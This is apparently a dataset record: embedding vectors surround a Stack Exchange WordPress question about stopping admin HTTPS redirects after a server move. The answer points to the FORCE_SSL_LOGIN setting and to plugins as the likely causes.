0.0214385986328125,
0.035430908203125,
-0.0025234222412109375,
-0.00400543212890625,
0.0213165283203125,
-0.05926513671875,
0.016876220703125,
0.043060302734375,
0.03961181640625,
0.046295166015625,
-0.00733184814453125,
-0.010223388671875,
0.07012939453125,
-0.0921630859375,
-0.026641845703125,
0.004547119140625,
-0.01094818115234375,
0.00047516822814941406,
-0.048980712890625,
-0.0247955322265625,
0.028076171875,
-0.09381103515625,
-0.0248260498046875,
0.050201416015625,
0.0188446044921875,
0.029937744140625,
-0.036865234375,
0.03021240234375,
-0.00785064697265625,
0.0654296875,
0.0077972412109375,
0.0218658447265625,
0.0528564453125,
-0.015716552734375,
0.0252532958984375,
-0.00606536865234375,
-0.0095062255859375,
-0.01165008544921875,
0.01447296142578125,
-0.0200042724609375,
0.022125244140625,
0.051025390625,
0.0263824462890625,
0.048614501953125,
-0.0306243896484375,
-0.040435791015625,
0.037689208984375,
0.045135498046875,
-0.0188751220703125,
0.0248870849609375,
-0.0377197265625,
-0.0224761962890625,
-0.00940704345703125,
-0.00809478759765625,
-0.010345458984375,
-0.0158843994140625,
0.0221405029296875,
0.055633544921875,
0.03265380859375,
0.07269287109375,
0.005512237548828125,
0.051239013671875,
-0.031463623046875,
0.031341552734375,
0.005062103271484375,
-0.01715087890625,
0.019866943359375,
-0.035491943359375,
-0.0296478271484375,
0.037200927734375,
-0.0201873779296875,
-0.0026149749755859375,
-0.0172882080078125,
0.042266845703125,
0.00646209716796875,
-0.0026531219482421875,
-0.0167083740234375,
-0.022308349609375,
-0.0275421142578125,
-0.03167724609375,
0.02142333984375,
0.0232391357421875,
-0.0029506683349609375,
-0.03948974609375,
0.0100860595703125,
-0.006664276123046875,
-0.0738525390625,
-0.0611572265625,
0.02392578125,
-0.046356201171875,
0.01064300537109375,
-0.018951416015625,
-0.0202484130859375,
-0.007297515869140625,
0.0019016265869140625,
-0.01032257080078125,
-0.00458526611328125,
-0.0221710205078125,
-0.0290679931640625,
-0.0548095703125,
-0.07269287109375,
-0.027740478515625,
0.0037937164306640625,
-0.0013475418090820312,
-0.0011310577392578125,
0.038421630859375,
0.0177764892578125,
0.00788116455078125,
0.047393798828125,
-0.01003265380859375,
0.017730712890625,
0.0178070068359375,
0.0203704833984375,
-0.026519775390625,
-0.0311737060546875,
0.0262908935546875,
-0.08740234375,
-0.03289794921875,
0.0224151611328125,
-0.04034423828125,
-0.0223846435546875,
-0.0273895263671875,
-0.0009660720825195312,
0.00797271728515625,
0.0222015380859375,
-0.019439697265625,
0.0026683807373046875,
-0.0577392578125,
-0.0084228515625,
0.0287933349609375,
-0.020660400390625,
0.0183258056640625,
-0.0266571044921875,
-0.01468658447265625,
0.04449462890625,
-0.01275634765625,
0.05133056640625,
0.01470184326171875,
-0.01561737060546875,
0.005939483642578125,
0.051605224609375,
0.0171966552734375,
0.060577392578125,
-0.025177001953125,
-0.037628173828125,
-0.0460205078125,
0.01415252685546875,
-0.0413818359375,
-0.02911376953125,
-0.0270233154296875,
0.011932373046875,
-0.0237274169921875,
-0.0115966796875,
0.0181121826171875,
0.0009365081787109375,
0.0130767822265625,
-0.0220794677734375,
-0.013824462890625,
-0.005779266357421875,
0.05621337890625,
-0.02838134765625,
-0.022705078125,
0.02593994140625,
0.0269775390625,
-0.043914794921875,
-0.022064208984375,
-0.031036376953125,
-0.00731658935546875,
-0.042999267578125,
-0.00771331787109375,
-0.01727294921875,
-0.01971435546875,
-0.0250396728515625,
-0.00415802001953125,
-0.0098876953125,
-0.027496337890625,
0.0550537109375,
0.011932373046875,
0.0070953369140625,
0.003879547119140625,
0.0086822509765625,
-0.0175933837890625,
-0.03558349609375,
0.000659942626953125,
-0.024932861328125,
-0.01195526123046875,
0.0133209228515625,
0.0280609130859375,
-0.000186920166015625,
-0.0281982421875,
-0.0126495361328125,
0.020751953125,
0.01947021484375,
0.043304443359375,
-0.0135650634765625,
-0.032684326171875,
0.01467132568359375,
0.039215087890625,
0.0164337158203125,
0.01483917236328125,
-0.0174713134765625,
-0.01082611083984375,
-0.023468017578125,
0.021453857421875,
-0.0142669677734375,
-0.00012695789337158203,
0.00879669189453125,
-0.0120697021484375,
0.04217529296875,
-0.0250091552734375,
-0.040618896484375,
0.041534423828125,
-0.037445068359375,
0.0272674560546875,
-0.048736572265625,
-0.004413604736328125,
0.06939697265625,
-0.0128631591796875,
0.00891876220703125,
-0.007106781005859375,
0.07965087890625,
0.0201416015625,
-0.0117950439453125,
0.033477783203125,
0.022979736328125,
0.007091522216796875,
0.0160369873046875,
0.020233154296875,
-0.018096923828125,
-0.0172576904296875,
0.040435791015625,
-0.00440216064453125,
-0.0051422119140625,
-0.003498077392578125,
0.06512451171875,
0.00711822509765625,
-0.023468017578125,
0.0259552001953125,
0.007030487060546875,
-0.042816162109375,
0.018951416015625,
0.0016489028930664062,
-0.036407470703125,
-0.01050567626953125,
0.053070068359375,
0.00977325439453125,
-0.004062652587890625,
-0.05322265625,
-0.038299560546875,
0.0207672119140625,
-0.03155517578125,
0.0088653564453125,
-0.0276031494140625,
-0.0059051513671875,
-0.00963592529296875,
-0.01021575927734375,
0.02142333984375,
-0.0301666259765625,
0.045623779296875,
-0.035247802734375,
0.06781005859375,
-0.045867919921875,
0.016876220703125,
-0.05364990234375,
0.0002493858337402344,
0.04766845703125,
0.01061248779296875,
-0.0186004638671875,
-0.028106689453125,
0.0030841827392578125,
-0.0301055908203125,
-0.007106781005859375,
-0.00374603271484375,
0.04852294921875,
-0.025604248046875,
-0.045257568359375,
-0.022979736328125,
-0.0304718017578125,
-0.08367919921875,
-0.08197021484375,
-0.04595947265625,
-0.01303863525390625,
-0.0287322998046875,
0.0297698974609375,
-0.019989013671875,
0.00555419921875,
-0.004604339599609375,
-0.00687408447265625,
0.03289794921875,
0.045013427734375,
0.036468505859375,
0.0182037353515625,
-0.027679443359375,
-0.0275115966796875,
0.02935791015625,
-0.0164642333984375,
-0.03558349609375,
-0.0295257568359375,
0.027008056640625,
0.005046844482421875,
0.01111602783203125,
0.0269317626953125,
0.0018520355224609375,
0.0411376953125,
-0.0009751319885253906,
0.03448486328125,
-0.0531005859375,
-0.06396484375,
-0.026214599609375,
0.036285400390625,
0.04876708984375,
-0.037994384765625,
-0.0148162841796875,
0.0289764404296875,
-0.029144287109375,
0.04534912109375,
0.01473236083984375,
-0.00176239013671875,
0.02020263671875,
-0.0011568069458007812,
-0.0706787109375,
-0.022491455078125,
-0.044921875,
-0.018890380859375,
-0.0345458984375,
0.019683837890625,
-0.013275146484375,
0.003662109375,
-0.032562255859375,
0.01055908203125,
-0.02398681640625,
0.011505126953125,
-0.052490234375,
0.0235595703125,
0.0062103271484375,
0.017486572265625,
-0.047637939453125,
-0.020538330078125,
-0.044219970703125,
-0.029876708984375,
-0.07135009765625,
-0.055999755859375,
-0.0408935546875,
0.0330810546875,
-0.00580596923828125,
-0.0016164779663085938,
-0.0291900634765625,
-0.022857666015625,
-0.015869140625,
0.05908203125,
0.028045654296875,
0.042327880859375,
-0.0157623291015625,
0.06219482421875,
0.058990478515625,
0.009124755859375,
0.045379638671875,
0.061767578125,
0.0229644775390625,
-0.029144287109375,
0.003253936767578125,
-0.02496337890625,
-0.0059661865234375,
-0.032257080078125,
0.00148773193359375,
-0.0214996337890625,
0.0014352798461914062,
0.0078582763671875,
0.0275726318359375,
-0.0277862548828125,
-0.0164337158203125,
-0.0295867919921875,
0.017822265625,
-0.046295166015625,
0.033599853515625,
-0.0296630859375,
-0.0400390625,
-0.04669189453125,
-0.0018863677978515625,
0.004825592041015625,
-0.017608642578125,
0.0137786865234375,
-0.0496826171875,
0.01629638671875,
-0.063232421875,
0.07427978515625,
0.0865478515625,
-0.016754150390625,
0.04498291015625,
0.0294342041015625,
0.0002205371856689453,
0.0147857666015625,
0.0367431640625,
-0.029083251953125,
-0.0261688232421875,
0.026458740234375,
0.00490570068359375,
-0.0294036865234375,
0.00360107421875,
-0.03167724609375,
0.00473785400390625,
0.054290771484375,
0.0552978515625,
-0.05364990234375,
-0.0200042724609375,
0.0122222900390625,
-0.0235137939453125,
0.0022068023681640625,
-0.027435302734375,
0.00836181640625,
-0.027374267578125,
0.071533203125,
-0.00971221923828125,
-0.01702880859375,
0.0249786376953125,
-0.043182373046875,
0.00286865234375,
0.03997802734375,
0.083984375,
0.0251312255859375,
-0.04296875,
-0.024688720703125,
0.035888671875,
0.00812530517578125,
-0.025115966796875,
0.053558349609375,
-0.033782958984375,
-0.007541656494140625,
-0.050872802734375,
-0.0017681121826171875,
0.0213775634765625,
-0.0310211181640625,
-0.0078125,
0.0244903564453125,
0.00991058349609375,
0.041717529296875,
-0.00148773193359375,
-0.006679534912109375,
0.0140533447265625,
-0.011260986328125,
-0.05206298828125,
-0.02008056640625,
0.02642822265625,
0.02032470703125,
-0.023193359375,
0.038055419921875,
-0.015289306640625,
-0.046112060546875,
0.0001615285873413086,
-0.0296783447265625,
0.056396484375,
-0.0147705078125,
-0.0096282958984375,
0.018707275390625,
-0.00862884521484375,
-0.0043487548828125,
0.0148773193359375,
0.0455322265625,
-0.0005412101745605469,
0.015655517578125,
0.01276397705078125,
0.0068511962890625,
-0.016357421875,
0.0240325927734375,
-0.031524658203125,
0.028045654296875,
-0.0030574798583984375,
0.03619384765625,
0.0009088516235351562,
0.002307891845703125,
0.0209197998046875,
0.01006317138671875,
-0.040985107421875,
0.0621337890625,
0.0227813720703125,
0.03857421875,
-0.004261016845703125,
0.01349639892578125,
0.0226898193359375,
-0.020416259765625,
-0.013916015625,
0.0029144287109375,
-0.03155517578125,
0.00963592529296875,
0.027191162109375,
0.03765869140625,
0.0247955322265625,
0.0155181884765625,
-0.03277587890625,
-0.04327392578125,
0.0028133392333984375,
-0.0254974365234375,
0.0247344970703125,
-0.043792724609375,
-0.0254669189453125,
-0.023040771484375,
-0.008453369140625,
-0.027740478515625,
-0.005153656005859375,
-0.0258331298828125,
-0.06982421875,
0.0113677978515625,
0.041046142578125,
-0.033538818359375,
0.0191192626953125,
-0.027740478515625,
-0.0095062255859375,
-0.0101470947265625,
0.01001739501953125,
-0.028594970703125,
0.032196044921875,
0.01151275634765625,
0.01439666748046875,
0.025787353515625,
0.0189056396484375,
0.007198333740234375,
0.031341552734375,
0.00994873046875,
0.02276611328125,
0.007373809814453125,
0.0239105224609375,
0.0238494873046875,
0.0204925537109375,
-0.035308837890625,
-0.0260467529296875,
0.03424072265625,
0.0408935546875,
-0.014495849609375,
-0.059417724609375,
0.017242431640625,
0.0196685791015625,
0.021240234375,
0.02923583984375,
0.041046142578125,
-0.0419921875,
0.0185546875,
0.03460693359375,
-0.0126953125,
-0.002788543701171875,
-0.006282806396484375,
0.02899169921875,
0.072509765625,
-0.00930023193359375,
-0.00458526611328125,
-0.01526641845703125,
0.003047943115234375,
0.028472900390625,
0.00507354736328125,
-0.00830841064453125,
0.037445068359375,
0.02996826171875,
0.003108978271484375,
-0.029998779296875,
0.00848388671875,
-0.0104827880859375,
0.0245361328125,
-0.0224609375,
-0.01047515869140625,
0.0023593902587890625,
0.036529541015625,
0.021453857421875,
0.051116943359375,
0.02349853515625,
0.019073486328125,
0.01454925537109375,
0.01739501953125,
0.060028076171875,
-0.02325439453125,
-0.03643798828125,
-0.027740478515625,
-0.0171051025390625,
0.0212554931640625,
0.0011501312255859375,
0.014984130859375,
0.0024547576904296875,
0.04229736328125,
-0.0164337158203125,
0.038177490234375,
0.00565338134765625,
-0.0170135498046875,
0.0258331298828125,
-0.010528564453125,
0.027374267578125,
0.0265655517578125,
-0.058563232421875,
-0.00670623779296875,
-0.02471923828125,
-0.055572509765625,
0.0254669189453125,
0.0435791015625,
-0.00693511962890625,
0.0089874267578125,
0.0014476776123046875,
0.0029964447021484375,
0.020050048828125,
0.01538848876953125,
-0.03765869140625,
-0.006114959716796875,
0.058624267578125,
-0.02008056640625,
0.013214111328125,
0.0190887451171875,
0.024444580078125,
0.01483154296875,
-0.024566650390625,
0.11163330078125,
-0.052032470703125,
-0.01476287841796875,
0.0028247833251953125,
-0.036895751953125,
0.022430419921875,
-0.00000667572021484375,
0.006801605224609375,
0.00848388671875,
-0.011993408203125,
-0.01342010498046875,
-0.00434112548828125,
0.01654052734375,
0.0218963623046875,
-0.0128631591796875,
0.00911712646484375,
-0.034515380859375,
0.0150909423828125,
-0.005680084228515625,
-0.008056640625,
-0.0428466796875,
-0.04632568359375,
-0.028533935546875,
0.00897216796875,
-0.0101776123046875,
-0.0120697021484375,
0.00955963134765625,
0.005741119384765625,
-0.0201416015625,
-0.052276611328125,
0.00464630126953125,
-0.03717041015625,
-0.01038360595703125,
0.00994110107421875,
0.0361328125,
-0.0022430419921875,
-0.00968170166015625,
-0.02301025390625,
0.003948211669921875,
0.01419830322265625,
-0.0250396728515625,
0.0184478759765625,
-0.04559326171875,
0.01375579833984375,
0.049285888671875,
0.039825439453125,
-0.0213470458984375,
0.0035724639892578125,
0.0252227783203125,
-0.005153656005859375,
0.019012451171875,
-0.000690460205078125,
-0.0224761962890625,
0.003261566162109375,
-0.00641632080078125,
0.0165557861328125,
0.004161834716796875,
-0.00553131103515625,
-0.032867431640625,
-0.0108184814453125,
0.0115509033203125,
-0.035614013671875,
0.0275115966796875,
-0.0093536376953125,
-0.053802490234375,
0.00879669189453125,
-0.006999969482421875,
0.060882568359375,
-0.0214691162109375,
0.005725860595703125,
-0.04071044921875,
0.0030460357666015625,
-0.0086822509765625,
0.0178985595703125,
0.004058837890625,
0.05133056640625,
0.06475830078125,
-0.044677734375,
-0.004390716552734375,
0.06439208984375,
0.04156494140625,
0.1177978515625,
-0.0225067138671875,
-0.023193359375,
0.01666259765625,
0.00039005279541015625,
0.03570556640625,
-0.013671875,
-0.0281524658203125,
0.0230560302734375,
-0.016693115234375,
-0.038970947265625,
0.0198516845703125,
-0.00301361083984375,
-0.0560302734375,
-0.08428955078125,
0.0184478759765625,
-0.006145477294921875,
-0.041748046875,
-0.01503753662109375,
-0.003520965576171875,
0.0190887451171875,
-0.055206298828125,
-0.01389312744140625,
-0.01451873779296875,
-0.036102294921875,
0.004856109619140625,
-0.00628662109375,
0.0199737548828125,
0.0022411346435546875,
0.0235137939453125,
-0.0297088623046875,
0.0294647216796875,
0.0036754608154296875,
-0.0235137939453125,
-0.031402587890625,
0.0200653076171875,
-0.011199951171875,
0.00679779052734375,
-0.03924560546875,
-0.0228729248046875,
0.01389312744140625,
0.05633544921875,
-0.01824951171875,
-0.0288543701171875,
-0.003448486328125,
0.0073089599609375,
0.043853759765625,
0.036102294921875,
0.0080413818359375,
-0.041900634765625,
-0.024932861328125,
-0.029144287109375,
0.00571441650390625,
0.01399993896484375,
0.0012884140014648438,
-0.02880859375,
0.0299224853515625,
0.0175018310546875,
-0.0206146240234375,
0.0302734375,
-0.0081939697265625,
-0.030487060546875,
0.0175933837890625,
0.034271240234375,
0.0026874542236328125,
-0.029083251953125,
-0.006130218505859375,
0.05865478515625,
-0.040313720703125,
-0.0112762451171875,
-0.00423431396484375,
0.0226287841796875,
0.0211181640625,
-0.024261474609375,
0.0290985107421875,
0.059112548828125,
-0.048858642578125,
-0.047760009765625,
0.0380859375,
-0.007843017578125,
0.004413604736328125,
0.01177978515625,
0.0411376953125,
0.0191497802734375,
-0.0113983154296875,
0.0287322998046875,
-0.0006961822509765625,
0.0316162109375,
-0.035125732421875,
-0.0102386474609375,
-0.02606201171875,
0.041229248046875,
-0.01087188720703125,
0.0279541015625,
0.00588226318359375,
-0.0031604766845703125,
0.041656494140625,
0.003021240234375,
-0.00904083251953125,
-0.01206207275390625,
0.01152801513671875,
-0.06103515625,
0.0196685791015625,
-0.07562255859375,
0.01126861572265625,
0.020263671875
] |
f2ebb154fa357e34685b2e56db7c971757760730
|
Wordpress Stackexchange
Q: Disable all https in WordPress Recently I moved my WordPress to another server (MediaTemple), but now my admin is redirecting for HTTPS all the time, but I don't have SSL enabled on my domain, so it just keep warning that is not the same server and bla bla bla... Well, I want to disable all those https request on WordPress. How can I do that?
A: I don't believe WordPress sends HTTPS requests unless it has been told to do so. It sounds like you need to undo some previous configuration -- most likely change/remove the FORCE_SSL_LOGIN constant.
You may have plugins participating as well though. Make sure to check that.
Reference:
http://codex.wordpress.org/Administration_Over_SSL
|
Q: Disable all https in WordPress Recently I moved my WordPress to another server (MediaTemple), but now my admin is redirecting for HTTPS all the time, but I don't have SSL enabled on my domain, so it just keep warning that is not the same server and bla bla bla... Well, I want to disable all those https request on WordPress. How can I do that?
A: I don't believe WordPress sends HTTPS requests unless it has been told to do so. It sounds like you need to undo some previous configuration -- most likely change/remove the FORCE_SSL_LOGIN constant.
You may have plugins participating as well though. Make sure to check that.
Reference:
http://codex.wordpress.org/Administration_Over_SSL
|
wordpress
|
{
"language": "en",
"length": 114,
"provenance": "stackexchange_00019.jsonl.gz:436310",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111743"
}
|
[
0.0780029296875,
0.01593017578125,
0.006145477294921875,
-0.01535797119140625,
0.0173492431640625,
-0.042694091796875,
0.06329345703125,
-0.0279388427734375,
0.009307861328125,
0.0113677978515625,
0.0306243896484375,
-0.033935546875,
0.006313323974609375,
-0.05242919921875,
0.0037841796875,
-0.010894775390625,
0.019775390625,
-0.002475738525390625,
0.00786590576171875,
-0.0286407470703125,
0.01134490966796875,
-0.0171661376953125,
0.035614013671875,
0.016204833984375,
-0.0136566162109375,
0.0295257568359375,
0.09381103515625,
-0.039581298828125,
-0.0016546249389648438,
-0.02618408203125,
0.00614166259765625,
-0.0162506103515625,
-0.001079559326171875,
0.058074951171875,
-0.090576171875,
-0.088623046875,
-0.03619384765625,
0.036346435546875,
-0.0220489501953125,
0.0224456787109375,
0.03582763671875,
-0.0232086181640625,
0.0531005859375,
0.0197296142578125,
0.01381683349609375,
-0.0133209228515625,
0.023712158203125,
-0.05120849609375,
0.016082763671875,
0.00923919677734375,
0.01092529296875,
0.0254669189453125,
0.038116455078125,
-0.0285491943359375,
-0.0316162109375,
-0.03302001953125,
0.00984954833984375,
0.03790283203125,
0.00750732421875,
-0.01520538330078125,
-0.02777099609375,
0.04718017578125,
-0.00567626953125,
-0.006244659423828125,
0.0166168212890625,
-0.0022792816162109375,
-0.01119232177734375,
0.03125,
-0.0897216796875,
-0.006000518798828125,
0.047088623046875,
-0.061737060546875,
-0.006961822509765625,
-0.004489898681640625,
0.0269317626953125,
0.004138946533203125,
-0.0028076171875,
0.0212249755859375,
0.009674072265625,
0.0204925537109375,
0.036834716796875,
0.001789093017578125,
-0.032562255859375,
-0.019775390625,
0.022308349609375,
-0.0061798095703125,
0.0080108642578125,
-0.020294189453125,
0.010986328125,
-0.00665283203125,
-0.023773193359375,
0.0264892578125,
0.01558685302734375,
0.0014753341674804688,
-0.037628173828125,
-0.006969451904296875,
0.036376953125,
0.023895263671875,
0.024078369140625,
-0.0092010498046875,
0.0027294158935546875,
-0.04168701171875,
-0.0241851806640625,
-0.01189422607421875,
-0.01519775390625,
0.03314208984375,
-0.0123291015625,
0.032318115234375,
0.03265380859375,
0.03729248046875,
0.0157623291015625,
-0.01153564453125,
-0.029083251953125,
0.0144500732421875,
-0.0241546630859375,
0.00759124755859375,
-0.05926513671875,
0.01369476318359375,
-0.04296875,
0.0360107421875,
-0.0035305023193359375,
0.0212860107421875,
-0.03912353515625,
0.00826263427734375,
-0.01047515869140625,
-0.032470703125,
0.0003807544708251953,
0.00527191162109375,
0.01316070556640625,
-0.005901336669921875,
-0.04608154296875,
0.01465606689453125,
0.088134765625,
0.055755615234375,
0.03759765625,
-0.00872802734375,
0.040496826171875,
-0.02117919921875,
-0.0303192138671875,
0.056427001953125,
-0.0227508544921875,
-0.07574462890625,
-0.03228759765625,
-0.00586700439453125,
0.026611328125,
-0.004444122314453125,
0.0118408203125,
0.045928955078125,
0.0223846435546875,
-0.007511138916015625,
0.0020046234130859375,
0.0161285400390625,
0.0257415771484375,
0.0264434814453125,
0.00765228271484375,
0.01666259765625,
0.06201171875,
-0.0185546875,
-0.051239013671875,
-0.046417236328125,
-0.02252197265625,
0.00543212890625,
0.04180908203125,
0.013458251953125,
0.00774383544921875,
-0.00554656982421875,
-0.003170013427734375,
0.0009665489196777344,
0.027587890625,
0.0299224853515625,
-0.01097869873046875,
-0.01275634765625,
0.0302276611328125,
0.0028076171875,
-0.009735107421875,
0.021453857421875,
0.00275421142578125,
0.0119171142578125,
0.0233612060546875,
0.024017333984375,
-0.00473785400390625,
-0.034027099609375,
0.07244873046875,
-0.0225982666015625,
-0.045867919921875,
0.04150390625,
-0.00449371337890625,
0.046112060546875,
0.029693603515625,
0.00739288330078125,
0.0184326171875,
0.01593017578125,
-0.0085601806640625,
0.027130126953125,
0.0008592605590820312,
-0.04791259765625,
-0.032073974609375,
-0.021514892578125,
-0.005035400390625,
0.006328582763671875,
0.0111846923828125,
-0.0022983551025390625,
-0.017486572265625,
-0.011627197265625,
0.020050048828125,
-0.0382080078125,
0.0271453857421875,
-0.006175994873046875,
0.0041961669921875,
0.0237579345703125,
0.00916290283203125,
-0.001873016357421875,
-0.016571044921875,
-0.0161285400390625,
-0.019683837890625,
-0.0023746490478515625,
-0.0156402587890625,
0.023406982421875,
0.002620697021484375,
0.032745361328125,
0.0088348388671875,
-0.0352783203125,
-0.002559661865234375,
-0.0103912353515625,
0.0106201171875,
-0.01380157470703125,
0.00543975830078125,
-0.006999969482421875,
0.0596923828125,
-0.007617950439453125,
0.034912109375,
-0.0021762847900390625,
0.0192413330078125,
0.04083251953125,
-0.031494140625,
0.00018227100372314453,
-0.0140533447265625,
-0.02423095703125,
-0.00640106201171875,
0.037628173828125,
0.03662109375,
0.0288543701171875,
-0.028045654296875,
-0.028289794921875,
0.017059326171875,
-0.075439453125,
-0.0012331008911132812,
-0.017303466796875,
0.0216522216796875,
0.0027618408203125,
-0.00418853759765625,
-0.0231781005859375,
0.044158935546875,
-0.0206451416015625,
0.038421630859375,
0.043853759765625,
0.013916015625,
-0.0164031982421875,
0.00278472900390625,
-0.006534576416015625,
0.0156097412109375,
-0.0218658447265625,
-0.052154541015625,
-0.00482177734375,
-0.016998291015625,
-0.0127716064453125,
-0.01100921630859375,
-0.00836181640625,
-0.00771331787109375,
-0.0182037353515625,
0.0252838134765625,
-0.058868408203125,
0.0017328262329101562,
0.0400390625,
0.07464599609375,
-0.028717041015625,
-0.038177490234375,
-0.0083160400390625,
0.0119171142578125,
0.0255584716796875,
-0.02203369140625,
-0.0209808349609375,
-0.0179443359375,
-0.0006022453308105469,
-0.018798828125,
-0.0565185546875,
0.047882080078125,
0.037567138671875,
-0.00843048095703125,
0.00738525390625,
0.029327392578125,
0.00548553466796875,
-0.01013946533203125,
0.01058197021484375,
0.0010976791381835938,
-0.0159149169921875,
0.0197906494140625,
-0.03875732421875,
0.027557373046875,
-0.004001617431640625,
0.09234619140625,
0.0748291015625,
-0.004119873046875,
0.032196044921875,
0.00838470458984375,
-0.037689208984375,
0.01763916015625,
-0.01215362548828125,
-0.028472900390625,
0.0164642333984375,
-0.11480712890625,
-0.0251922607421875,
0.00417327880859375,
-0.05450439453125,
0.01666259765625,
-0.0206146240234375,
-0.00844573974609375,
-0.01202392578125,
-0.058807373046875,
-0.026214599609375,
-0.066162109375,
-0.059478759765625,
0.005901336669921875,
0.0164031982421875,
-0.00782012939453125,
0.00991058349609375,
0.037017822265625,
0.042572021484375,
0.005939483642578125,
-0.014892578125,
-0.05633544921875,
-0.0240936279296875,
-0.050689697265625,
0.0189971923828125,
-0.01419830322265625,
0.0240325927734375,
0.0052032470703125,
0.061187744140625,
-0.0012969970703125,
-0.041900634765625,
0.0006480216979980469,
-0.020843505859375,
-0.0169525146484375,
0.0158843994140625,
-0.038116455078125,
-0.007350921630859375,
0.0169677734375,
-0.006298065185546875,
0.027069091796875,
-0.0096588134765625,
0.0242462158203125,
-0.010223388671875,
0.01342010498046875,
-0.01386260986328125,
0.0015077590942382812,
-0.042236328125,
-0.027740478515625,
-0.0219268798828125,
-0.055145263671875,
-0.06353759765625,
-0.01169586181640625,
-0.0191650390625,
-0.037872314453125,
0.0005283355712890625,
0.0138092041015625,
0.0007658004760742188,
-0.01540374755859375,
0.00794219970703125,
0.00835418701171875,
0.0023021697998046875,
0.028167724609375,
-0.02447509765625,
0.034332275390625,
-0.0022869110107421875,
-0.0014133453369140625,
-0.03900146484375,
0.034027099609375,
-0.0179901123046875,
-0.007354736328125,
-0.0084991455078125,
-0.0272979736328125,
-0.037445068359375,
-0.0020809173583984375,
-0.063232421875,
-0.043365478515625,
0.042938232421875,
-0.0516357421875,
-0.032867431640625,
-0.01641845703125,
-0.006542205810546875,
0.004802703857421875,
0.07733154296875,
0.0006928443908691406,
-0.0005078315734863281,
-0.0267486572265625,
0.0147247314453125,
-0.04327392578125,
-0.04461669921875,
-0.0211334228515625,
0.007114410400390625,
-0.089111328125,
-0.005947113037109375,
-0.0157318115234375,
-0.0250396728515625,
0.029693603515625,
-0.06695556640625,
-0.01372528076171875,
-0.06427001953125,
0.0152435302734375,
-0.001979827880859375,
-0.0033283233642578125,
-0.018096923828125,
-0.0176849365234375,
-0.033721923828125,
-0.006519317626953125,
-0.016815185546875,
-0.062469482421875,
-0.0027751922607421875,
-0.01593017578125,
0.041595458984375,
-0.009033203125,
0.0053863525390625,
-0.0076141357421875,
0.0390625,
0.004848480224609375,
0.00315093994140625,
0.01309967041015625,
-0.0283966064453125,
0.04266357421875,
0.070068359375,
0.0139312744140625,
0.0251922607421875,
-0.0156402587890625,
0.0033092498779296875,
-0.00885009765625,
0.01629638671875,
-0.0107879638671875,
-0.044097900390625,
0.0211181640625,
-0.04046630859375,
-0.047576904296875,
-0.016082763671875,
-0.059844970703125,
0.016937255859375,
-0.031951904296875,
-0.0146484375,
-0.0301666259765625,
-0.0904541015625,
0.0662841796875,
-0.00017404556274414062,
-0.0297393798828125,
0.0001672506332397461,
0.060394287109375,
0.0117340087890625,
-0.03582763671875,
-0.042633056640625,
0.0160369873046875,
0.0279693603515625,
-0.00982666015625,
0.06011962890625,
0.022430419921875,
0.01038360595703125,
0.057464599609375,
-0.01183319091796875,
0.0030059814453125,
-0.015167236328125,
0.03662109375,
-0.014434814453125,
-0.0115814208984375,
0.0163116455078125,
-0.0206756591796875,
0.006160736083984375,
0.039459228515625,
0.04656982421875,
-0.032012939453125,
0.047119140625,
-0.0062103271484375,
0.0056915283203125,
-0.0440673828125,
0.027191162109375,
-0.0140838623046875,
0.0171661376953125,
-0.0297088623046875,
0.048492431640625,
0.03448486328125,
0.002765655517578125,
0.025054931640625,
0.0278167724609375,
-0.0009589195251464844,
-0.046051025390625,
-0.006000518798828125,
-0.03582763671875,
0.0303497314453125,
-0.055999755859375,
-0.02484130859375,
-0.033294677734375,
-0.0264434814453125,
0.0875244140625,
0.0200042724609375,
-0.07122802734375,
0.055084228515625,
-0.0203094482421875,
-0.0057830810546875,
0.040618896484375,
-0.04840087890625,
0.036529541015625,
0.0005688667297363281,
-0.0168304443359375,
0.0054931640625,
-0.06646728515625,
-0.03363037109375,
-0.048187255859375,
0.0237274169921875,
0.001499176025390625,
-0.00424957275390625,
0.018157958984375,
0.04815673828125,
0.036712646484375,
0.0196075439453125,
-0.0203857421875,
0.01049041748046875,
0.0007772445678710938,
0.00018036365509033203,
0.0179595947265625,
0.019866943359375,
0.0239410400390625,
-0.050689697265625,
0.0245819091796875,
-0.057891845703125,
-0.035980224609375,
0.017242431640625,
0.054168701171875,
0.0418701171875,
0.0014677047729492188,
-0.00461578369140625,
0.0041656494140625,
-0.0219268798828125,
0.05499267578125,
0.045166015625,
-0.037750244140625,
-0.0274810791015625,
-0.01983642578125,
0.01422882080078125,
-0.00592041015625,
-0.0218505859375,
0.0277557373046875,
-0.0003101825714111328,
0.016204833984375,
0.03436279296875,
-0.042755126953125,
0.006923675537109375,
0.0218505859375,
-0.0174407958984375,
-0.04522705078125,
-0.0190277099609375,
-0.038787841796875,
0.01241302490234375,
-0.019866943359375,
0.007282257080078125,
0.01531219482421875,
-0.033782958984375,
-0.007205963134765625,
0.031280517578125,
-0.005756378173828125,
0.035552978515625,
0.036895751953125,
0.01654052734375,
0.001415252685546875,
-0.028076171875,
-0.022369384765625,
-0.050079345703125,
-0.0167083740234375,
-0.00981903076171875,
-0.0182342529296875,
-0.01806640625,
0.00685882568359375,
0.04364013671875,
0.01251983642578125,
0.00835418701171875,
-0.050445556640625,
-0.032745361328125,
0.00891876220703125,
0.05084228515625,
0.00872802734375,
-0.0236053466796875,
0.062255859375,
-0.01149749755859375,
0.053558349609375,
0.0015211105346679688,
0.038818359375,
-0.00928497314453125,
-0.017608642578125,
0.0216522216796875,
-0.0518798828125,
-0.054412841796875,
0.0009670257568359375,
-0.0611572265625,
0.0241851806640625,
0.0501708984375,
-0.020294189453125,
-0.006855010986328125,
-0.00688934326171875,
0.016448974609375,
-0.0146636962890625,
-0.005184173583984375,
0.0092926025390625,
0.005367279052734375,
0.017303466796875,
0.025787353515625,
0.0287322998046875,
-0.053558349609375,
-0.058624267578125,
0.027435302734375,
0.0217437744140625,
0.00815582275390625,
0.00498199462890625,
0.006893157958984375,
0.0107574462890625,
0.0311126708984375,
0.007190704345703125,
0.040863037109375,
0.0072021484375,
0.0253753662109375,
0.018463134765625,
0.00527191162109375,
-0.023468017578125,
-0.019561767578125,
-0.0021915435791015625,
-0.01197052001953125,
-0.003818511962890625,
-0.0056915283203125,
-0.0140533447265625,
0.01702880859375,
0.10101318359375,
0.0960693359375,
-0.12017822265625,
0.0025920867919921875,
0.0211181640625,
-0.033294677734375,
-0.0087432861328125,
-0.0196075439453125,
-0.0216217041015625,
-0.069580078125,
0.022735595703125,
-0.0021495819091796875,
